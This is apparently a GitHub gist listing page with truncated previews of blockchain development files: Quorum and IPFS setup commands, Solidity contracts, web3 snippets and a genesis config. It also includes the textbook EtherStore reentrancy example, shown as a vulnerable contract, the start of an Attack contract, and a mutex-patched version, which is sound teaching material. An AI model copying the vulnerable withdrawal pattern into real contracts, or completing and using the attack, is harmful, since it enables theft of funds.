This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//if something breaks, go to this file: https://github.com/jpmorganchase/quorum-examples/blob/master/vagrant/bootstrap.sh | |
# install build deps | |
sudo add-apt-repository ppa:ethereum/ethereum | |
sudo apt-get update | |
sudo apt install make | |
sudo apt install g++ -y | |
sudo apt-get install -y build-essential unzip libdb-dev libleveldb-dev libsodium-dev zlib1g-dev libtinfo-dev solc sysvbanner wrk software-properties-common default-jdk maven | |
//installing go |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.19; | |
contract Account{ | |
/* struct account{ | |
string pubKey; | |
string priKey; | |
} */ | |
struct account_user{ | |
string pubKey; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var a = eth.accounts[0] | |
web3.eth.defaultAccount = a; | |
// abi and bytecode generated from simplestorage.sol: | |
// > solcjs --bin --abi simplestorage.sol | |
var abi = <ABI>; | |
var Contract = web3.eth.contract(abi); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//install ipfs-cluster | |
cd $HOME | |
wget https://dist.ipfs.io/go-ipfs/v0.4.14-rc1/go-ipfs_v0.4.14-rc1_linux-amd64.tar.gz | |
tar xf go-ipfs_v0.4.14-rc1_linux-amd64.tar.gz | |
sudo mv go-ipfs/ipfs /usr/local/bin/ipfs | |
ipfs init | |
//installing go | |
cd $HOME/ && wget https://storage.googleapis.com/golang/go1.10.1.linux-amd64.tar.gz |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.19; | |
import "./Seriality.sol"; | |
contract Serialize is Seriality{ | |
string [] arr = ["string0", "string1", "string2", "string3", "string4"]; | |
function getBytes(uint startindex, uint endindex) public view returns(bytes serialized){ | |
require(endindex >= startindex); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var hexStringFromSolidity = "<PASTE THE SOLIDTY BYTE OUTPUT HERE>" | |
var convert = function hexToStr(hex) { | |
var str = ''; | |
for (var i = 0; i < hex.length; i += 2) { | |
var v = parseInt(hex.substr(i, 2), 16); | |
if (v) str += String.fromCharCode(v); | |
} | |
params = []; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"config": { | |
"chainId": 1994, | |
"homesteadBlock": 0, | |
"eip155Block": 0, | |
"eip158Block": 0, | |
"byzantiumBlock": 0 | |
}, | |
"difficulty": "0x0", | |
"gasLimit": "0x8000000", |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
contract EtherStore { | |
uint256 public withdrawalLimit = 1 ether; | |
mapping(address => uint256) public lastWithdrawTime; | |
mapping(address => uint256) public balances; | |
function depositFunds() public payable { | |
balances[msg.sender] += msg.value; | |
} | |
function withdrawFunds (uint256 _weiToWithdraw) public { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import "EtherStore.sol"; | |
contract Attack { | |
EtherStore public etherStore; | |
// intialise the etherStore variable with the contract address | |
constructor(address _etherStoreAddress) { | |
etherStore = EtherStore(_etherStoreAddress); | |
} | |
function pwnEtherStore() public payable { | |
// attack to the nearest ether |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
contract EtherStore { | |
// initialise the mutex | |
bool reEntrancyMutex = false; | |
uint256 public withdrawalLimit = 1 ether; | |
mapping(address => uint256) public lastWithdrawTime; | |
mapping(address => uint256) public balances; | |
function depositFunds() public payable { | |
balances[msg.sender] += msg.value; | |
} |
OlderNewer